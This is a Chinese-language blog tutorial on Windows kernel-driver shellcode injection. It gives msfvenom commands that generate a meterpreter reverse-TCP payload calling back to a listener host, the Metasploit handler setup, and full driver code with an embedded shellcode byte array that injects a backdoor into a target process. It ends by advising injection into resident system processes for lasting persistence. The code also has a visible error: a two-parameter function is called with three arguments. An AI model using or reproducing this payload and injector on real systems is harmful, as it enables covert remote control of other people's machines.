驱动开发:内核ShellCode线程注入
还记得《驱动开发:内核LoadLibrary实现DLL注入》中所使用的注入技术吗,我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入ShellCode代码实现反弹Shell,这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数,一个是StartAddress开始执行的内存块,另一个是StartParameter传入内存块的变量列表,而如果将StartParameter地址填充为NULL则表明不传递任何参数,也就是只在线程中执行ShellCode代码,利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。
- 被控主机IP: 10.0.66.11
- 控制主机IP: 10.0.66.22
为了能实现反弹后门的功能,我们首先需要使用Metasploit工具生成一段ShellCode代码片段,以32位为例,生成32为反弹代码。
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c
生成ShellCode代码片段如下图所示;

其次服务端需要侦听特定端口,配置参数如下所示;
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit
服务端执行后则会进入侦听等待阶段,输出效果图如下所示;

此时我们使用如下代码片段,并自行修改进程PID为指定目标进程,编译生成驱动程序;
// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com
#include "lyshark.h"
// 定义函数指针
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT size_t StackReserved,
IN OUT size_t StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
// 远程线程注入函数
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
PEPROCESS pEProcess = NULL;
KAPC_STATE ApcState = { 0 };
PfnRtlCreateUserThread RtlCreateUserThread = NULL;
HANDLE hThread = 0;
__try
{
// 获取RtlCreateUserThread函数的内存地址
UNICODE_STRING ustrRtlCreateUserThread;
RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
if (RtlCreateUserThread == NULL)
{
return FALSE;
}
// 根据进程PID获取进程EProcess结构
status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
if (!NT_SUCCESS(status))
{
return FALSE;
}
// 附加到目标进程内
KeStackAttachProcess(pEProcess, &ApcState);
// 验证进程是否可读写
if (!MmIsAddressValid(pRing3Address))
{
return FALSE;
}
// 启动注入线程
status = RtlCreateUserThread(ZwCurrentProcess(),
NULL,
FALSE,
0,
0,
0,
pRing3Address,
NULL,
&hThread,
NULL);
if (!NT_SUCCESS(status))
{
return FALSE;
}
return TRUE;
}
__finally
{
// 释放对象
if (pEProcess != NULL)
{
ObDereferenceObject(pEProcess);
pEProcess = NULL;
}
// 取消附加进程
KeUnstackDetachProcess(&ApcState);
}
return FALSE;
}
VOID Unload(PDRIVER_OBJECT pDriverObj)
{
DbgPrint("[-] 驱动卸载 \n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
DbgPrint("Hello LyShark.com \n");
ULONG process_id = 5844;
DWORD create_size = 1024;
DWORD64 ref_address = 0;
// -------------------------------------------------------
// 应用层开堆
// -------------------------------------------------------
NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address);
DbgPrint("对端进程: %d \n", process_id);
DbgPrint("分配长度: %d \n", create_size);
DbgPrint("分配的内核堆基址: %p \n", ref_address);
// 设置注入路径,转换为多字节
UCHAR ShellCode[] =
"\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1"
"\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b"
"\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9"
"\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46"
"\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc"
"\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb"
"\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11"
"\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae"
"\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0"
"\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f"
"\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee"
"\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90"
"\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74"
"\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6"
"\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14"
"\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3"
"\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38"
"\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0"
"\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc"
"\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad"
"\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98"
"\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d"
"\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12"
"\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62"
"\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a"
"\xa1\x59\xa2\x38\xb1\x4b";
// -------------------------------------------------------
// 写出数据到内存
// -------------------------------------------------------
ReadMemoryStruct ptr;
ptr.pid = process_id;
ptr.address = ref_address;
ptr.size = strlen(ShellCode);
// 需要写入的数据
ptr.data = ExAllocatePool(NonPagedPool, ptr.size);
// 循环设置
for (int i = 0; i < ptr.size; i++)
{
ptr.data[i] = ShellCode[i];
}
// 写内存
MDLWriteMemory(&ptr);
ExFreePool(ptr.data);
// -------------------------------------------------------
// 执行开线程函数
// -------------------------------------------------------
// 执行线程注入
// 参数1:PID
// 参数2:LoadLibraryW内存地址
// 参数3:当前DLL路径
BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
if (flag == TRUE)
{
DbgPrint("[*] 已完成进程 %d | 注入地址 %p \n", process_id, ref_address);
}
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}
编译并在客户端运行这个驱动程序,则会将ShellCode反弹后门注入到PID=5844进程内,输出效果图如下所示;

此时回到服务端程序,则可看到反弹Shell会话,输出效果图如下所示;

当然该方法也可注入自定义ShellCode代码,也可实现对某个游戏的Call调用功能等,上文中只是为了通用性而演示的一个案例,在真实的实战环境中,读者可以将代码注入到系统常驻进程上,这样系统启动后自动注入代码以此来实现长久的权限维持。
驱动开发:内核ShellCode线程注入的更多相关文章
- 驱动开发之 创建线程函数PsCreateSystemThread
PsCreateSystemThread 创建一个执行在内核模式的系统线程. 注意:创建线程必须用函数PsTerminateSystemThread强制线程结束.否则该线程是无法自动退出的. 函数原型 ...
- Windows驱动开发-内核常用内存函数
搞内存常用函数 C语言 内核 malloc ExAllocatePool memset RtlFillMemory memcpy RtlMoveMemory free ExFreePool
- 用Visual studio2012在Windows8上开发内核驱动监视线程创建
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破.在Windows 95中,至少应用程序I/O操作是不受限制的,而在Win ...
- 《Windows内核安全与驱动开发》 4.4 线程与事件
<Windows内核安全与驱动开发>阅读笔记 -- 索引目录 <Windows内核安全与驱动开发> 4.4 线程与事件 一.开辟一个线程,参数为(打印内容+打印次数),利用线程 ...
- 驱动开发:内核枚举进程与线程ObCall回调
在笔者上一篇文章<驱动开发:内核枚举Registry注册表回调>中我们通过特征码定位实现了对注册表回调的枚举,本篇文章LyShark将教大家如何枚举系统中的ProcessObCall进程回 ...
- 驱动开发:内核枚举ShadowSSDT基址
在笔者上一篇文章<驱动开发:Win10枚举完整SSDT地址表>实现了针对SSDT表的枚举功能,本章继续实现对SSSDT表的枚举,ShadowSSDT中文名影子系统服务描述表,SSSDT其主 ...
- Windows内核安全与驱动开发
这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...
- (转)Mac OS X内核编程,MAC驱动开发资源汇总
一.Mac OS X内核编程开发官方文档: I/O Kit Fundamentals: I/O Kit基础 - Mac OS X系统内核编程 https://developer.apple.com ...
- Linux驱动开发必看详解神秘内核(完全转载)
Linux驱动开发必看详解神秘内核 完全转载-链接:http://blog.chinaunix.net/uid-21356596-id-1827434.html IT168 技术文档]在开始步入L ...
- 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问
国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...
随机推荐
- 【深入浅出 Yarn 架构与实现】5-3 Yarn 调度器资源抢占模型
本篇将对 Yarn 调度器中的资源抢占方式进行探究.分析当集群资源不足时,占用量资源少的队列,是如何从其他队列中抢夺资源的.我们将深入源码,一步步分析抢夺资源的具体逻辑. 一.简介 在资源调度器中,以 ...
- 集合-HashMap 源码详细分析(JDK1.8)
1. 概述 本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap.HashMap 最早出现在 JDK 1.2中,底层基于散列算法实现.HashMap 允许 null 键和 null 值 ...
- 【踩坑系列】发送微信模板消息返回40165 invalid weapp pagepath
1. 踩坑经历 最近做了个需求,需要往公司微信公众号推送一个模板消息,并且点击该消息需要跳转到公司小程序的某个页面. 1.1 拿到模板id 既然是发送模板消息,第一步就需要登录微信公众号后台新建模板消 ...
- [网络]HTTPS下服务器与浏览器的通信:HTTPS背后的加密算法 | TLS := SSL [转载]
全文转载自: HTTPS背后的加密算法 - 博客园 1 概述: 基本原理/过程 当你在浏览器的地址栏上输入https开头的网址后,浏览器和服务器之间会在接下来的几百毫秒内进行大量的通信.InfoQ的这 ...
- Oracle AUD审计 找出锁定用户的客户端IP
问题描述:运用AUD审计找出锁定用户的客户端IP 1.查询被锁用户 SELECT USERNAME, ACCOUNT_STATUS, LOCK_DATE FROM DBA_USERS WHERE AC ...
- 介绍箭头函数的 this
由于箭头函数不绑定this, 它会捕获其所在(即定义的位置)上下文的this值, 作为自己的this值 1. 所以 call() / apply() / bind() 方法对于箭头函数来说只是传入参数 ...
- .Net 6.0 部署Linux+Nginx +PM2教程
今天带大家将本地.Net6.0项目部署到Linux系统中,其中有用到Nginx反向代理和PM2进程管理工具,希望本偏文章能对你有所帮助,成为你成功路上的垫脚石! 背景: 在.Net 5.0横空出世之后 ...
- RHEL 7配置HAProxy实现Web负载均衡
本文将简单介绍使用HAProxy实现web负载均衡,主要内容包括基于权重的轮询.为HAProxy配置https.配置http重定向为https.配置HAProxy使用独立日志. 一.测试环境 HAPr ...
- 基于 Github 平台的 .NET 开源项目模板. 嘎嘎实用!
简介 大家好,为了使开源项目的维护和管理更方便一些,出于个人需求写了一款开源项目的模板,该模板基于 Github 平台,并使用 .NET 来实现管道功能. 在接受过实战检验后, 于今天开源, 项目地址 ...
- scrapy框架简介
一.安装scrapy环境 -mac或linux:pip install scrapy -windows: 1.pip install wheel 2.pip install twinsted 3.pi ...